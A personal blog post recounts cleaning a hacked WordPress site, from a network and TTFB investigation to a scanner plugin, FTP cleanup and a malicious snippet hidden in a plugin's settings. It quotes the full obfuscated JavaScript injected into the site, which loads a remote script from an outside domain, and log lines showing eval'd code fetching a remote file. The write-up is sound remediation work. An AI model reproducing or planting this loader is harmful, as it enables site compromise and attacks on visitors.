Cleaning hacked WordPress sites

A few days ago a dear friend of mine asked me to take a look at their website. According to them the guy who was administrating it didn’t had much security knowledge so they got hacked. I needed to assess the damage and tell them if it can be recovered or not. My first thought was that “great another university student after which I need to clean up shit” but the story got really interesting for me. The site was hosted on WordPress, exactly like my blog. I instantly got interested since I had the impression that there is not much you can fuck up in it. I’m new to WordPress so my incentive was to learn how can one you end up hacked and more important how can you restore your work.

Initial assessment

I opened the page in chrome and the dev tools to check network activity. The site was loading some shady javascript in the form of <script src=’[shady source]’ type=’text/javascript’></script> and its initial load took more than 40 seconds.

Great, some hacker sprayed every page with bullshit, no wonder the site loads slowly. So it was clear we need to do some cleanup. I requested access to their admin page and after I logged in I started to look around weird stuff. The option that everybody can registered was checked and there were two users registered with shady names so I deleted them. The site wasn’t big so I pulled up my sleeves and wanted to go mopping up but even the editor was slow (40 seconds slow).

I’ve checked page revisions and it was clear when the malicious parts were added in, but I didn’t had the possibility to revert to a backup since they were editing it after the slowdown (which later you will understand why).

Anti-Malware plugins

I don’t have much experience with WordPress, so I searched for plugins that could do this removal automatically. I installed NinjaScanner and it detected a lot of modified core files with the following pattern.

<script type="text/javascript">var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,49);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}</script>

After analyzing what the hexstring meant it was clear that this indeed was malicious so I proceeded with restoring the files. My luck ran out when the scanner detected files that were not recoverable from within the tool. Some js by the hosting provider.

FTP access

I asked for the ftp access credentials that your hosting provider gives you when you sign up in order to clear the files manually. But first BACKUP, it is always good to do a backup. I removed the garbage from the remaining files after which the issues detected by the scanner were gone. I quickly declared myself victorious until I ran the initial profiling. The loading experience was very much the same. Shit!

Back to the drawing board

Although my progress so far was important it still didn’t solve the issue so in this case it is always good to go back to your initial assumptions and reanalyze the info you have. What I noted this time is that the TTFB (time to first byte) from the server comes after 40 seconds, jeez. I quickly changed index.php script to something simple and everything was fast. So it wasn’t the hosting provider. I needed to call it a day since it was 2 am at that point.

Deactivate plugins

If it’s not the host probably the page takes long time to construct. Let’s deactivate all plugins I said and cheered when everything was running smoothly. My next step was to reactivate all plugins one by one to find out which one causes the slowdown. There was a combination of WooCommerce and 2MB Autocode I deactivated them and I cleaned up the pages of the malicious script loading. This time it was running OK so it was not much trouble to clean the pages manually.

Victory?

Well no, I called up my friends and told them that everything will be fine if they don’t use those plugins. Unfortunately a large chunk of the site relied on nearly 100 products. Reworking that part would also have been a huge workload on their part. There was still work to do.

Back to the drawing board again

I wanted to search through all the files to look for the malicious code. Maybe it’s more widespread than I thought. I didn’t wanted to write my own app at this point so I downloaded FileSeek. Even a small website can easily have more than 100k files. This was a good opportunity to use a RAMDisk (you know I love it). I downloaded AMD Radeon RAMDisk. Unfortunately my search didn’t yield any solid result, just more garbage to cleanup. I was out of luck at this point, but I had the thought to direct my attention elsewhere.

Logs

It was really bugging me that I didn’t had a good explanation for the 40 second TTFB. I checked the logs and I saw some interesting stuff. After every request this showed up.

[09-Feb-2019 06:13:52 UTC] PHP Warning:  file_get_contents(http://myspaceid.space/l0.txt): failed to open stream: Connection timed out in /home/site/public_html/wp-content/plugins/2mb-autocode/2mb-autocode.php(63) : eval()’d code on line 1

[09-Feb-2019 06:14:12 UTC] PHP Warning:  file_get_contents(http://myspaceid.space/l0.txt): failed to open stream: Connection timed out in /home/site/public_html/wp-content/plugins/2mb-autocode/2mb-autocode.php(165) : eval()’d code on line 1

This already looked shady as fuck to me so I navigated to that txt file. The timeout was exactly 20 seconds. I’ve heard one thousand small minions cheering in my head. But how to find this?

I had that attitude of “if I find you, you gonna get it suckaa!” but I didn’t find it. My search didn’t yield any result. After a few desperate attempts I ended up in the 2MB Autocode settings. In the setting that added to the top of each page there was some PHP code. They constructed the string from binary to avoid this kind of detection. I removed it and YAAAY.

Victory

Probably you can understand why I chose this title for the blog. Is it developer-shell, or developers-hell? The answer is both, as you can clearly see that sometimes things are tough. I don’t know why but I have this fault that if I don’t understand it, I can’t let it go, and I cannot give up. Fortunately this helps me to push forward when a lot of people would just give up.

Lessons learned

I’ve researched the topic a bit afterwards and I found a few more details. It seems they were hacked during the GDPR plugin vulnerability. You can read a lot more about it here. Boy I wish I knew that from the get-go. Even after the plugins were updated the damage was already done. The funny thing is nobody really noticed it until that txt file went down and caused the timeout. Until then the site probably functioned well with a few hundreds of milliseconds lost here and there, but who notices that?

This could have happened to anybody, even to me, even if you used a security plugin (from what I understand). After an attack like this, even security plugins get better. So be sure to use some sort of protection, do physical backups of you site, and update your plugins all the time.

Hope this will help you with a few tips if you need to do it yourself. See you soon!